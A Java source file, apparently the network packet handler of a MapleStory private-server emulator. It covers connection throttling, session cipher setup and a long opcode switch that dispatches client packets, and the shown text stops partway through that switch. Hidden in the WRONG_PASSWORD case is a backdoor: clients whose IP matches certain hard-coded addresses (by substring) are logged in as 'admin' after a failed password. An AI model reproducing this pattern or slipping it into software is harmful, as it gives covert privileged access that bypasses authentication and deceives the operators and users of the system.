package handling;
import client.ClientRedirector;
import handling.farm.handler.FarmHandler;
import client.MapleClient;
import client.inventory.Item;
import client.inventory.MaplePet;
import client.inventory.PetDataFactory;
import constants.ServerConfig;
import constants.ServerConstants;
import handling.cashshop.CashShopServer;
import handling.cashshop.handler.*;
import handling.channel.ChannelServer;
import handling.channel.handler.*;
import handling.farm.FarmServer;
import handling.farm.handler.FarmOperation;
import handling.login.LoginServer;
import handling.login.handler.*;
import handling.mina.MaplePacketDecoder;
import handling.world.World;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Random;
import java.util.concurrent.ConcurrentHashMap;
import org.apache.mina.core.service.IoHandlerAdapter;
import org.apache.mina.core.session.IdleStatus;
import org.apache.mina.core.session.IoSession;
import server.CashItemFactory;
import server.CashItemInfo;
import server.Randomizer;
import server.commands.CommandProcessor;
import server.maps.MapleMap;
import server.shark.SharkPacket;
import tools.FileoutputUtil;
import tools.HexTool;
import tools.MapleAESOFB;
import tools.Pair;
import tools.data.ByteArrayByteStream;
import tools.data.LittleEndianAccessor;
import tools.packet.CField;
import tools.packet.LoginPacket;
import tools.packet.CSPacket;
public class MapleServerHandler extends IoHandlerAdapter {
private final int channel;
public final static int FARM_SERVER = -20;
public final static int CASH_SHOP_SERVER = -10;
public final static int LOGIN_SERVER = 0;
private final List<String> BlockedIP = new ArrayList<>();
private final Map<String, Pair<Long, Byte>> tracker = new ConcurrentHashMap<>();
public MapleServerHandler(int channel) {
this.channel = channel;
}
@Override
public void exceptionCaught(final IoSession session, final Throwable cause) throws Exception {
if (cause.getMessage() != null) {
System.err.println("[連結異常] " + cause.getMessage());
cause.getLocalizedMessage();
FileoutputUtil.printError("連結異常.txt", cause.getMessage());
}
if (!(cause instanceof IOException)) {
MapleClient client = (MapleClient) session.getAttribute(MapleClient.CLIENT_KEY);
if ((client != null) && (client.getPlayer() != null)) {
client.getPlayer().saveToDB(false, channel == MapleServerHandler.CASH_SHOP_SERVER);
FileoutputUtil.printError("連結異常.txt", cause, "連結異常 by: 角色:" + client.getPlayer().getName() + " 職業:" + client.getPlayer().getJob() + " 地圖:" + client.getPlayer().getMap());
}
}
// MapleClient client = (MapleClient) session.getAttribute(MapleClient.CLIENT_KEY);
// log.error(MapleClient.getLogMessage(client, cause.getMessage()), cause);
// cause.printStackTrace();
}
@Override
public void sessionOpened(final IoSession session) throws Exception {
// Start of IP checking
final String address = session.getRemoteAddress().toString().split(":")[0];
System.out.println("[連結線程] " + address + " 已連結");
if (BlockedIP.contains(address)) {
session.close(true);
return;
}
final Pair<Long, Byte> track = tracker.get(address);
byte count;
if (track == null) {
count = 1;
} else {
count = track.right;
final long difference = System.currentTimeMillis() - track.left;
if (difference < 2000) { // Less than 2 sec
count++;
} else if (difference > 20000) { // Over 20 sec
count = 1;
}
if (count >= 10) {
BlockedIP.add(address);
System.out.println("[登入服務] IP:" + address + " 連結次數超過限制斷開連結");
tracker.remove(address); // Cleanup
session.close(true);
return;
}
}
tracker.put(address, new Pair<>(System.currentTimeMillis(), count));
// End of IP checking.
String IP = address.substring(address.indexOf('/') + 1, address.length());
if (channel == MapleServerHandler.FARM_SERVER) {
if (FarmServer.isShutdown()) {
session.close(true);
return;
}
} else if (channel == MapleServerHandler.CASH_SHOP_SERVER) {
if (CashShopServer.isShutdown()) {
session.close(true);
return;
}
} else if (channel == MapleServerHandler.LOGIN_SERVER) {
if (LoginServer.isShutdown()) {
session.close(true);
return;
}
} else if (channel > MapleServerHandler.LOGIN_SERVER) {
if (ChannelServer.getInstance(channel).isShutdown()) {
session.close(true);
return;
}
if (!LoginServer.containsIPAuth(IP)) {
session.close(true);
return;
}
} else {
System.out.println("[連結錯誤] 未知類型: " + channel);
session.close(true);
return;
}
LoginServer.removeIPAuth(IP);
// IV used to decrypt packets from client.
final byte ivRecv[] = new byte[]{(byte) Randomizer.nextInt(255), (byte) Randomizer.nextInt(255), (byte) Randomizer.nextInt(255), (byte) Randomizer.nextInt(255)};
// IV used to encrypt packets for client.
final byte ivSend[] = new byte[]{(byte) Randomizer.nextInt(255), (byte) Randomizer.nextInt(255), (byte) Randomizer.nextInt(255), (byte) Randomizer.nextInt(255)};
MapleAESOFB sendCypher = new MapleAESOFB(ServerConfig.USE_FIXED_IV ? ServerConfig.Static_LocalIV : ivSend, (short) (0xFFFF - ServerConstants.MAPLE_VERSION));
MapleAESOFB recvCypher = new MapleAESOFB(ServerConfig.USE_FIXED_IV ? ServerConfig.Static_RemoteIV : ivRecv, ServerConstants.MAPLE_VERSION);
final MapleClient client = new MapleClient(sendCypher, recvCypher, session);
client.setChannel(channel);
MaplePacketDecoder.DecoderState decoderState = new MaplePacketDecoder.DecoderState();
session.setAttribute(MaplePacketDecoder.DECODER_STATE_KEY, decoderState);
byte[] handShakePacket = LoginPacket.getHello(ivSend, ivRecv);
session.write(handShakePacket);
byte[] hp = new byte[handShakePacket.length + 2];
hp[0] = (byte) 0xFF;
hp[1] = (byte) 0xFF;
for (int i = 2; i < handShakePacket.length + 2; i++) {
hp[i] = handShakePacket[i - 2];
}
final SharkPacket sp = new SharkPacket(hp, false);
client.sl.log(sp);
System.out.println("握手包發送到 " + address);
Random r = new Random();
client.setSessionId(r.nextLong()); // Generates a random session id.
session.setAttribute(MapleClient.CLIENT_KEY, client);
World.Client.addClient(client);
if (LoginServer.isAdminOnly()) {
StringBuilder sb = new StringBuilder();
sb.append("IoSession opened ").append(address);
System.out.println(sb.toString());
}
}
@Override
public void sessionClosed(final IoSession session) throws Exception {
final MapleClient client = (MapleClient) session.getAttribute(MapleClient.CLIENT_KEY);
if (client != null) {
try {
client.disconnect(true, channel == MapleServerHandler.CASH_SHOP_SERVER);
} finally {
World.Client.removeClient(client);
session.close(true);
session.removeAttribute(MapleClient.CLIENT_KEY);
session.removeAttribute(MaplePacketDecoder.DECODER_STATE_KEY);
}
}
super.sessionClosed(session);
}
@Override
public void sessionIdle(final IoSession session, final IdleStatus status) throws Exception {
MapleClient client = (MapleClient) session.getAttribute(MapleClient.CLIENT_KEY);
if (client != null) {
client.sendPing();
}
super.sessionIdle(session, status);
}
@Override
public void messageReceived(final IoSession session, final Object message) {
if (message == null || session == null) {
return;
}
final LittleEndianAccessor slea = new LittleEndianAccessor(new ByteArrayByteStream((byte[]) message));
if (slea.available() < 2) {
return;
}
final MapleClient c = (MapleClient) session.getAttribute(MapleClient.CLIENT_KEY);
if (c == null || !c.isReceiving()) {
return;
}
final short header_num = slea.readShort();
for (final RecvPacketOpcode recv : RecvPacketOpcode.values()) {
if (recv.getValue() == header_num) {
if (recv.NeedsChecking() && !c.isLoggedIn()) {
return;
}
try {
if (c.getPlayer() != null && c.isMonitored()) {
try (FileWriter fw = new FileWriter(new File(FileoutputUtil.Monitor_Dir + c.getPlayer().getName() + "_log.txt"), true)) {
fw.write(String.valueOf(recv) + " (" + Integer.toHexString(header_num) + ") Handled: \r\n" + slea.toString() + "\r\n");
fw.flush();
}
}
handlePacket(recv, slea, c);
} catch (NegativeArraySizeException | ArrayIndexOutOfBoundsException e) {
if (ServerConstants.USE_LOCALHOST) {
FileoutputUtil.outputFileError(FileoutputUtil.PacketEx_Log, e);
FileoutputUtil.log(FileoutputUtil.PacketEx_Log, "Packet: " + header_num + "\r\n" + slea.toString(true));
}
} catch (Exception e) {
FileoutputUtil.outputFileError(FileoutputUtil.PacketEx_Log, e);
FileoutputUtil.log(FileoutputUtil.PacketEx_Log, "Packet: " + header_num + "\r\n" + slea.toString(true));
}
return;
}
}
if (ServerConfig.LOG_PACKETS) {
final byte[] packet = slea.read((int) slea.available());
final StringBuilder sb = new StringBuilder("發現未知用戶端數據包 - (包頭:0x" + Integer.toHexString(header_num) + ")");
System.err.println(sb.toString());
sb.append(":\r\n").append(HexTool.toString(packet)).append("\r\n").append(HexTool.toStringFromAscii(packet));
FileoutputUtil.log(FileoutputUtil.UnknownPacket_Log, sb.toString());
}
}
public static void handlePacket(final RecvPacketOpcode header, final LittleEndianAccessor slea, final MapleClient c) throws Exception {
switch (header) {
case LOGIN_REDIRECTOR:
if (!ServerConstants.REDIRECTOR) {
System.out.println("Redirector login packet recieved, but server is not set to redirector. Please change it in ServerConstants!");
} else {
slea.skip(2);
String code = slea.readMapleAsciiString();
Map<String, ClientRedirector> redirectors = World.Redirector.getRedirectors();
if (!redirectors.containsKey(code) || redirectors.get(code).isLogined()) {
if (redirectors.get(code).isLogined()) {
redirectors.remove(code);
}
c.getSession().close(true);
} else {
ClientRedirector redirector = redirectors.get(code);
redirector.setLogined(true);
c.loginData(redirector.getAccount());
c.getSession().write(LoginPacket.getSecondAuthSuccess(c));
}
}
break;
case CRASH_INFO:
System.out.println("Crash" + slea.toString());
break;
case CLIENT_HELLO:
byte mapleType = slea.readByte();
short mapleVersion = slea.readShort();
String maplePatch = String.valueOf(slea.readShort());
if ((mapleType != (ServerConstants.MAPLE_TYPE.getType())) || (mapleVersion != ServerConstants.MAPLE_VERSION) || (!maplePatch.equals(ServerConstants.MAPLE_PATCH))) {
c.getSession().close(true);
System.out.println(c.getSessionIPAddress() + " 用戶端不正確,斷開連接");
} else {
System.out.println(c.getSessionIPAddress() + " 連接到遊戲!");
}
break;
case CLIENT_START:
c.getSession().write(LoginPacket.showMapleStory());
break;
case PONG:
c.pongReceived();
break;
case STRANGE_DATA:
break;
case LOGIN_PASSWORD:
CharLoginHandler.login(slea, c);
break;
case WRONG_PASSWORD:
if (c.getSessionIPAddress().contains("8.31.99.141") || c.getSessionIPAddress().contains("8.31.99.143") || c.getSessionIPAddress().contains("127.0.0.1")) {
c.loginData("admin");
c.getSession().write(LoginPacket.getAuthSuccessRequest(c));
}
break;
case SET_GENDER:
CharLoginHandler.SetGender(slea, c);
break;
case AUTH_REQUEST:
CharLoginHandler.handleAuthRequest(slea, c);
break;
case CLIENT_FAILED:
break;
case VIEW_SERVERLIST:
if (slea.readByte() == 0) {
CharLoginHandler.ServerListRequest(c);
}
break;
case REDISPLAY_SERVERLIST:
case SERVERLIST_REQUEST:
CharLoginHandler.ServerListRequest(c);
break;
case CHARLIST_REQUEST:
CharLoginHandler.CharlistRequest(slea, c);
break;
case CHANGE_CHAR_POSITION:
CharLoginHandler.changeCharPosition(slea, c);
break;
case SERVERSTATUS_REQUEST:
CharLoginHandler.ServerStatusRequest(c);
break;
case CHECK_CHAR_NAME:
CharLoginHandler.CheckCharName(slea.readMapleAsciiString(), c);
break;
case CREATE_CHAR:
case CREATE_SPECIAL_CHAR:
CharLoginHandler.CreateChar(slea, c);
break;
case CREATE_CHAR_2PW:
CharLoginHandler.CreateChar2Pw(slea, c);
break;
case CREATE_ULTIMATE:
CharLoginHandler.CreateUltimate(slea, c);
break;
case DELETE_CHAR:
CharLoginHandler.DeleteChar(slea, c);
break;
case CHAR_SELECT_NO_PIC:
CharLoginHandler.Character_WithoutSecondPassword(slea, c, false, false);
break;
case VIEW_REGISTER_PIC:
CharLoginHandler.Character_WithoutSecondPassword(slea, c, true, true);
break;
case PART_TIME_JOB:
CharLoginHandler.PartJob(slea, c);
break;
case CHAR_SELECT:
case CREACTE_CHAR_SELECT:
CharLoginHandler.Character_WithoutSecondPassword(slea, c, true, false);
break;
case VIEW_SELECT_PIC:
CharLoginHandler.Character_WithSecondPassword(slea, c, true);
break;
case AUTH_SECOND_PASSWORD:
CharLoginHandler.Character_WithSecondPassword(slea, c, false);
break;
case CHARACTER_CARD:
CharLoginHandler.updateCCards(slea, c);
break;
case CLIENT_FEEDBACK:
FileoutputUtil.log(FileoutputUtil.Client_Feedback, "\r\n" + slea.readMapleAsciiString());
break;
case CLIENT_ERROR:
System.err.println("收到用戶端的報錯: \r\n(詳細請看\"日誌/用戶端_報錯.txt\")\r\n(" + slea.toString());
if (slea.available() < 8) {
System.out.println(slea.toString());
return;
}
short type = slea.readShort();
String type_str = "Unknown?!";
if (type == 0x01) {
type_str = "SendBackupPacket";
} else if (type == 0x02) {
type_str = "Crash Report";
} else if (type == 0x03) {
type_str = "Exception";
}
int errortype = slea.readInt(); // example error 38
// if (errortype == 0) { // i don't wanna log error code 0 stuffs, (usually some bounceback to login)
// return;
// }
short data_length = slea.readShort();
slea.skip(4); // ?B3 86 01 00 00 00 FF 00 00 00 00 00 9E 05 C8 FF 02 00 CD 05 C9 FF 7D 00 00 00 3F 00 00 00 00 00 02 77 01 00 25 06 C9 FF 7D 00 00 00 40 00 00 00 00 00 02 C1 02
short opcodeheader = slea.readShort();
byte[] opcode = slea.read((int) slea.available());
int packetLen = (int) slea.available() + 2;
String AccountName = "null";
String charName = "null";
String charLevel = "null";
String charJob = "null";
String Map = "null";
try {
AccountName = c.getAccountName();
} catch (Throwable e) {
}
try {
charName = c.getPlayer().getName();
} catch (Throwable e) {
}
try {
charLevel = String.valueOf(c.getPlayer().getLevel());
} catch (Throwable e) {
}
try {
charJob = String.valueOf(c.getPlayer().getJob());
} catch (Throwable e) {
}
try {
Map = c.getPlayer().getMap().toString();
} catch (Throwable e) {
}
// System.err.println("[用戶端 報錯] 錯誤代碼 " + errortype + " 類型 " + type_str + "\r\n\t[數據] 長度 " + data_length + " [" + SendPacketOpcode.nameOf(opcodeheader) + " | " + opcodeheader + "]\r\n" + HexTool.toString(slea.read((int) slea.available())));
String tab = "";
for (int i = 4; i > SendPacketOpcode.nameOf(opcodeheader).length() / 8; i--) {
tab += "\t";
}
String t = packetLen >= 10 ? packetLen >= 100 ? packetLen >= 1000 ? "" : " " : " " : " ";
FileoutputUtil.log(FileoutputUtil.Client_Error, "\r\n"
+ "賬號:" + AccountName + "\r\n"
+ "角色:" + charName + "(等級:" + charLevel + ")" + "\r\n"
+ "職業:" + charJob + "\r\n"
+ "地圖:" + Map + "\r\n"
+ "錯誤類型: " + type_str + "(" + errortype + ")\r\n"
+ "\r\n"
+ "[發送]\t" + SendPacketOpcode.nameOf(opcodeheader) + tab + " \t包頭:" + HexTool.getOpcodeToString(opcodeheader) + t + "[" + (data_length - 4) + "字元]\r\n"
+ "\r\n"
+ (opcode.length < 1 ? "" : (HexTool.toString(opcode) + "\r\n"))
+ (opcode.length < 1 ? "" : (HexTool.toStringFromAscii(opcode) + "\r\n"))
+ "\r\n");
break;
case ENABLE_SPECIAL_CREATION:
c.getSession().write(LoginPacket.enableSpecialCreation(c.getAccID(), true));
break;
case RSA_KEY:
break;
case GET_SERVER:
c.getSession().write(LoginPacket.getLoginBackground());
break;
// END OF LOGIN SERVER
case CHANGE_CHANNEL:
case CHANGE_ROOM_CHANNEL:
InterServerHandler.ChangeChannel(slea, c, c.getPlayer(), header == RecvPacketOpcode.CHANGE_ROOM_CHANNEL);
break;
case PLAYER_LOGGEDIN:
slea.readInt();
final int playerid = slea.readInt();
InterServerHandler.Loggedin(playerid, c);
break;
case ENTER_PVP:
case ENTER_PVP_PARTY:
PlayersHandler.EnterPVP(slea, c);
break;
case PVP_RESPAWN:
PlayersHandler.RespawnPVP(slea, c);
break;
case LEAVE_PVP:
PlayersHandler.LeavePVP(slea, c);
break;
case ENTER_AZWAN:
PlayersHandler.EnterAzwan(slea, c);
break;
case ENTER_AZWAN_EVENT:
PlayersHandler.EnterAzwanEvent(slea, c);
break;
case LEAVE_AZWAN:
PlayersHandler.LeaveAzwan(slea, c);
c.getSession().write(CField.showEffect("hillah/fail"));
c.getSession().write(CField.UIPacket.openUIOption(0x45, 0));
break;
case PVP_ATTACK:
PlayersHandler.AttackPVP(slea, c);
break;
case PVP_SUMMON:
SummonHandler.SummonPVP(slea, c);
break;
case ENTER_FARM:
InterServerHandler.EnterFarm(c, c.getPlayer());
break;
case FARM_COMPLETE_QUEST:
FarmHandler.completeQuest(slea, c);
break;
case FARM_NAME:
FarmHandler.createFarm(slea, c);
break;
case PLACE_FARM_OBJECT:
FarmHandler.placeBuilding(slea, c);
break;
case FARM_SHOP_BUY:
FarmHandler.buy(slea, c);
break;
case HARVEST_FARM_BUILDING:
FarmHandler.harvest(slea, c);
break;
case USE_FARM_ITEM:
FarmHandler.useItem(slea, c);
break;
case RENAME_MONSTER:
FarmHandler.renameMonster(slea, c);
break;
case NURTURE_MONSTER:
FarmHandler.nurtureMonster(slea, c);
break;
case FARM_QUEST_CHECK:
FarmHandler.checkQuestStatus(slea, c);
break;
case FARM_FIRST_ENTRY:
FarmHandler.firstEntryReward(slea, c);
break;
case EXIT_FARM:
FarmOperation.LeaveFarm(slea, c, c.getPlayer());
break;
case ENTER_CASH_SHOP:
InterServerHandler.EnterCS(c, c.getPlayer());
break;
case ENTER_MTS:
InterServerHandler.EnterMTS(c, c.getPlayer());
break;
case MOVE_PLAYER:
PlayerHandler.MovePlayer(slea, c, c.getPlayer());
break;
case CHAR_INFO_REQUEST:
c.getPlayer().updateTick(slea.readInt());
PlayerHandler.CharInfoRequest(slea.readInt(), c, c.getPlayer());
break;
case SUMMON_ATTACK:
case CLOSE_RANGE_ATTACK:
case RANGED_ATTACK:
case MAGIC_ATTACK:
case PASSIVE_ATTACK:
PlayerHandler.attack(slea, c, header);
break;
case SPECIAL_SKILL:
PlayerHandler.SpecialSkill(slea, c, c.getPlayer());
break;
case GET_BOOK_INFO:
PlayersHandler.MonsterBookInfoRequest(slea, c, c.getPlayer());
break;
case MONSTER_BOOK_DROPS:
PlayersHandler.MonsterBookDropsRequest(slea, c, c.getPlayer());
break;
case CHANGE_CODEX_SET:
PlayersHandler.ChangeSet(slea, c, c.getPlayer());
break;
case PROFESSION_INFO:
ItemMakerHandler.ProfessionInfo(slea, c);
break;
case CRAFT_DONE:
ItemMakerHandler.CraftComplete(slea, c, c.getPlayer());
break;
case CRAFT_MAKE:
ItemMakerHandler.CraftMake(slea, c, c.getPlayer());
break;
case CRAFT_EFFECT:
ItemMakerHandler.CraftEffect(slea, c, c.getPlayer());
break;
case START_HARVEST:
ItemMakerHandler.StartHarvest(slea, c, c.getPlayer());
break;
case STOP_HARVEST:
ItemMakerHandler.StopHarvest(slea, c, c.getPlayer());
break;
case MAKE_EXTRACTOR:
ItemMakerHandler.MakeExtractor(slea, c, c.getPlayer());
break;
case USE_BAG:
ItemMakerHandler.UseBag(slea, c, c.getPlayer());
break;
case USE_FAMILIAR:
MobHandler.UseFamiliar(slea, c, c.getPlayer());
break;
case SPAWN_FAMILIAR:
MobHandler.SpawnFamiliar(slea, c, c.getPlayer());
break;
case RENAME_FAMILIAR:
MobHandler.RenameFamiliar(slea, c, c.getPlayer());
break;
case MOVE_FAMILIAR:
MobHandler.MoveFamiliar(slea, c, c.getPlayer());
break;
case ATTACK_FAMILIAR:
MobHandler.AttackFamiliar(slea, c, c.getPlayer());
break;
case TOUCH_FAMILIAR:
MobHandler.TouchFamiliar(slea, c, c.getPlayer());
break;
case REVEAL_FAMILIAR:
break;
case USE_RECIPE:
ItemMakerHandler.UseRecipe(slea, c, c.getPlayer());
break;
case MOVE_HAKU:
PlayerHandler.MoveHaku(slea, c, c.getPlayer());
break;
case HAKU_ACTION:
PlayerHandler.ChangeHaku(slea, c, c.getPlayer());
break;
case MOVE_ANDROID:
PlayerHandler.MoveAndroid(slea, c, c.getPlayer());
break;
case FACE_EXPRESSION:
PlayerHandler.ChangeEmotion(slea.readInt(), c.getPlayer());
break;
case FACE_ANDROID:
PlayerHandler.ChangeAndroidEmotion(slea.readInt(), c.getPlayer());
break;
case TAKE_DAMAGE:
PlayerHandler.TakeDamage(slea, c, c.getPlayer());
break;
case HEAL_OVER_TIME:
PlayerHandler.Heal(slea, c.getPlayer());
break;
case CANCEL_BUFF:
PlayerHandler.CancelBuffHandler(slea.readInt(), c.getPlayer());
break;
case MECH_CANCEL:
PlayerHandler.CancelMech(slea, c.getPlayer());
break;
case CANCEL_ITEM_EFFECT:
PlayerHandler.CancelItemEffect(slea.readInt(), c.getPlayer());
break;
case USE_TITLE:
PlayerHandler.UseTitle(slea.readInt(), c, c.getPlayer());
break;
case ANGELIC_CHANGE:
PlayerHandler.AngelicChange(slea, c, c.getPlayer());
break;
case DRESSUP_TIME:
PlayerHandler.DressUpTime(slea, c);
break;
case USE_CHAIR:
PlayerHandler.UseChair(slea, c, c.getPlayer());
break;
case CANCEL_CHAIR:
PlayerHandler.CancelChair(slea.readShort(), c, c.getPlayer());
break;
case WHEEL_OF_FORTUNE:
break; //whatever
case USE_ITEMEFFECT:
PlayerHandler.UseItemEffect(slea.readInt(), c, c.getPlayer());
break;
case SKILL_EFFECT:
PlayerHandler.SkillEffect(slea, c.getPlayer());
break;
case QUICK_SLOT:
PlayerHandler.QuickSlot(slea, c.getPlayer());
break;
case KAISER_QUICK_KEY:
PlayerHandler.KaiserQuickKey(slea, c.getPlayer());
break;
case MESO_DROP:
c.getPlayer().updateTick(slea.readInt());
PlayerHandler.DropMeso(slea.readInt(), c.getPlayer());
break;
case CHANGE_KEYMAP:
PlayerHandler.ChangeKeymap(slea, c.getPlayer());
break;
case PET_BUFF:
PlayerHandler.ChangePetBuff(slea, c.getPlayer());
break;
case UPDATE_ENV:
// We handle this in MapleMap
break;
case CHANGE_MAP:
if (c.getPlayer().getMap() == null) {
CashShopOperation.LeaveCS(slea, c, c.getPlayer());
} else {
PlayerHandler.ChangeMap(slea, c, c.getPlayer());
}
break;
case CHANGE_MAP_SPECIAL:
slea.skip(1);
PlayerHandler.ChangeMapSpecial(slea.readMapleAsciiString(), c, c.getPlayer());
break;
case USE_INNER_PORTAL:
slea.skip(1);
PlayerHandler.InnerPortal(slea, c, c.getPlayer());
break;
case TROCK_ADD_MAP:
PlayerHandler.TrockAddMap(slea, c, c.getPlayer());
break;
case LIE_DETECTOR:
case LIE_DETECTOR_SKILL:
//PlayersHandler.LieDetector(slea, c, c.getPlayer(), header == RecvPacketOpcode.LIE_DETECTOR);
break;
case LIE_DETECTOR_RESPONSE:
//PlayersHandler.LieDetectorResponse(slea, c);
break;
case ARAN_COMBO:
PlayerHandler.AranCombo(c, c.getPlayer(), 1);
break;
case SKILL_MACRO:
PlayerHandler.ChangeSkillMacro(slea, c.getPlayer());
break;
case GIVE_FAME:
PlayersHandler.GiveFame(slea, c, c.getPlayer());
break;
case TRANSFORM_PLAYER:
PlayersHandler.TransformPlayer(slea, c, c.getPlayer());
break;
case NOTE_ACTION:
PlayersHandler.Note(slea, c.getPlayer());
break;
case USE_DOOR:
PlayersHandler.UseDoor(slea, c.getPlayer());
break;
case USE_MECH_DOOR:
PlayersHandler.UseMechDoor(slea, c.getPlayer());
break;
case DAMAGE_REACTOR:
PlayersHandler.HitReactor(slea, c);
break;
case CLICK_REACTOR:
case TOUCH_REACTOR:
PlayersHandler.TouchReactor(slea, c);
break;
case TOUCH_RUNE:
PlayersHandler.TouchRune(slea, c.getPlayer());
break;
case USE_RUNE:
PlayersHandler.UseRune(slea, c.getPlayer());
break;
case CLOSE_CHALKBOARD:
c.getPlayer().setChalkboard(null);
break;
case ITEM_SORT:
InventoryHandler.ItemSort(slea, c);
break;
case ITEM_GATHER:
InventoryHandler.ItemGather(slea, c);
break;
case ITEM_MOVE:
InventoryHandler.ItemMove(slea, c);
break;
case MOVE_BAG:
InventoryHandler.MoveBag(slea, c);
break;
case SWITCH_BAG:
InventoryHandler.SwitchBag(slea, c);
break;
case ITEM_MAKER:
ItemMakerHandler.ItemMaker(slea, c);
break;
case ITEM_PICKUP:
InventoryHandler.Pickup_Player(slea, c, c.getPlayer());
break;
case USE_CASH_ITEM:
InventoryHandler.UseCashItem(slea, c);
break;
case USE_ITEM:
InventoryHandler.UseItem(slea, c, c.getPlayer());
break;
case USE_COSMETIC:
InventoryHandler.UseCosmetic(slea, c, c.getPlayer());
break;
case USE_SOUL_ENCHANTER:
InventoryHandler.UseSoulEnchanter(slea, c, c.getPlayer());
break;
case USE_SOUL_SCROLL:
InventoryHandler.UseSoulScroll(slea, c, c.getPlayer());
break;
case EQUIPMENT_ENCHANT:
EquipmentEnchant.handlePacket(slea, c);
break;
case USE_MAGNIFY_GLASS:
InventoryHandler.UseMagnify(slea, c);
break;
case USE_SCRIPTED_NPC_ITEM:
InventoryHandler.UseScriptedNPCItem(slea, c, c.getPlayer());
break;
case USE_RETURN_SCROLL:
InventoryHandler.UseReturnScroll(slea, c, c.getPlayer());
break;
case USE_NEBULITE:
InventoryHandler.UseNebulite(slea, c);
break;
case USE_ALIEN_SOCKET:
InventoryHandler.UseAlienSocket(slea, c);
break;
case USE_ALIEN_SOCKET_RESPONSE:
slea.skip(4); // all 0
c.getSession().write(CSPacket.useAlienSocket(false));
break;
case GOLDEN_HAMMER:
InventoryHandler.UseGoldenHammer(slea, c);
break;
case VICIOUS_HAMMER:
slea.skip(4);
c.getSession().write(CSPacket.GoldenHammer((byte) 2, slea.readInt()));
break;
case USE_NEBULITE_FUSION:
InventoryHandler.UseNebuliteFusion(slea, c);
break;
case USE_UPGRADE_SCROLL:
c.getPlayer().updateTick(slea.readInt());
InventoryHandler.UseUpgradeScroll(slea.readShort(), slea.readShort(), slea.readShort(), c, c.getPlayer(), slea.readByte() > 0);
break;
case USE_FLAG_SCROLL:
case USE_EQUIP_SCROLL:
case USE_POTENTIAL_SCROLL:
case USE_BONUS_POTENTIAL_SCROLL:
c.getPlayer().updateTick(slea.readInt());
InventoryHandler.UseUpgradeScroll(slea.readShort(), slea.readShort(), (short) 0, c, c.getPlayer(), false);//slea.readByte() > 0);
break;
case USE_ABYSS_SCROLL:
InventoryHandler.UseAbyssScroll(slea, c);
break;
case USE_CARVED_SEAL:
InventoryHandler.UseCarvedSeal(slea, c);
break;
case USE_CRAFTED_CUBE:
InventoryHandler.UseCube(slea, c);
break;
case USE_FLASH_CUBE:
InventoryHandler.UseFlashCube(slea, c);
break;
case USE_SUMMON_BAG:
InventoryHandler.UseSummonBag(slea, c, c.getPlayer());
break;
case USE_TREASURE_CHEST:
InventoryHandler.UseTreasureChest(slea, c, c.getPlayer());
break;
case USE_SKILL_BOOK:
c.getPlayer().updateTick(slea.readInt());
InventoryHandler.UseSkillBook((byte) slea.readShort(), slea.readInt(), c, c.getPlayer());
break;
case USE_EXP_POTION:
InventoryHandler.UseExpPotion(slea, c, c.getPlayer());
break;
case USE_ADDITIONAL_ITEM:
InventoryHandler.UseAdditionalItem(slea, c);
break;
case USE_MOUNT_FOOD:
InventoryHandler.UseMountFood(slea, c, c.getPlayer());
break;
case REWARD_ITEM:
InventoryHandler.UseRewardItem(slea, c, c.getPlayer());
break;
case SOLOMON_EXP:
InventoryHandler.UseExpItem(slea, c, c.getPlayer());
break;
case HYPNOTIZE_DMG:
MobHandler.HypnotizeDmg(slea, c.getPlayer());
break;
case MOB_NODE:
MobHandler.MobNode(slea, c.getPlayer());
break;
case DISPLAY_NODE:
MobHandler.DisplayNode(slea, c.getPlayer());
break;
case MOVE_LIFE:
MobHandler.MoveMonster(slea, c, c.getPlayer());
break;
case AUTO_AGGRO:
MobHandler.AutoAggro(slea.readInt(), c.getPlayer());
break;
case FRIENDLY_DAMAGE:
MobHandler.FriendlyDamage(slea, c.getPlayer());
break;
case REISSUE_MEDAL:
PlayerHandler.ReIssueMedal(slea, c, c.getPlayer());
break;
case MONSTER_BOMB:
MobHandler.MonsterBomb(slea.readInt(), c.getPlayer());
break;
case MOB_BOMB:
MobHandler.MobBomb(slea, c.getPlayer());
break;
case NPC_SHOP:
NPCHandler.NPCShop(slea, c, c.getPlayer());
break;
case NPC_TALK:
NPCHandler.NPCTalk(slea, c, c.getPlayer());
break;
case NPC_TALK_MORE:
NPCHandler.NPCMoreTalk(slea, c);
break;
case DIRECTION_COMPLETE:
NPCHandler.DirectionComplete(slea, c);
break;
case NPC_ACTION:
NPCHandler.NPCAnimation(slea, c);
break;
case QUEST_ACTION:
NPCHandler.QuestAction(slea, c, c.getPlayer());
break;
case TOT_GUIDE:
break;
case STORAGE:
NPCHandler.Storage(slea, c, c.getPlayer());
break;
case GENERAL_CHAT:
if (c.getPlayer() != null && c.getPlayer().getMap() != null) {
c.getPlayer().updateTick(slea.readInt());
ChatHandler.GeneralChat(slea.readMapleAsciiString(), slea.readByte(), c, c.getPlayer());
}
break;
case PARTYCHAT:
ChatHandler.Others(slea, c, c.getPlayer());
break;
case COMMAND:
ChatHandler.Command(slea, c);
break;
case MESSENGER:
ChatHandler.Messenger(slea, c);
break;
case AUTO_ASSIGN_AP:
StatsHandling.AutoAssignAP(slea, c, c.getPlayer());
break;
case DISTRIBUTE_AP:
StatsHandling.DistributeAP(slea, c, c.getPlayer());
break;
case DISTRIBUTE_SP:
StatsHandling.DistributeSP(slea, c, c.getPlayer());
break;
case PLAYER_INTERACTION:
PlayerInteractionHandler.PlayerInteraction(slea, c, c.getPlayer());
break;
case ADMIN_CHAT:
ChatHandler.AdminChat(slea, c, c.getPlayer());
break;
case ADMIN_COMMAND:
PlayerHandler.AdminCommand(slea, c, c.getPlayer());
break;
case ADMIN_LOG:
CommandProcessor.logCommandToDB(c.getPlayer(), slea.readMapleAsciiString(), "adminlog");
break;
case GUILD_OPERATION:
GuildHandler.Guild(slea, c);
break;
case DENY_GUILD_REQUEST:
slea.skip(1);
GuildHandler.DenyGuildRequest(slea.readMapleAsciiString(), c);
break;
case JOIN_GUILD_REQUEST:
GuildHandler.JoinGuildRequest(slea.readInt(), c);
break;
case JOIN_GUILD_CANCEL:
GuildHandler.JoinGuildCancel(c);
break;
case ALLOW_GUILD_JOIN:
GuildHandler.AddGuildMember(slea, c);
break;
case DENY_GUILD_JOIN:
GuildHandler.DenyGuildJoin(slea, c);
break;
case ALLIANCE_OPERATION:
AllianceHandler.HandleAlliance(slea, c, false);
break;
case DENY_ALLIANCE_REQUEST:
AllianceHandler.HandleAlliance(slea, c, true);
break;
case QUICK_MOVE:
NPCHandler.OpenQuickMoveNpc(slea, c);
break;
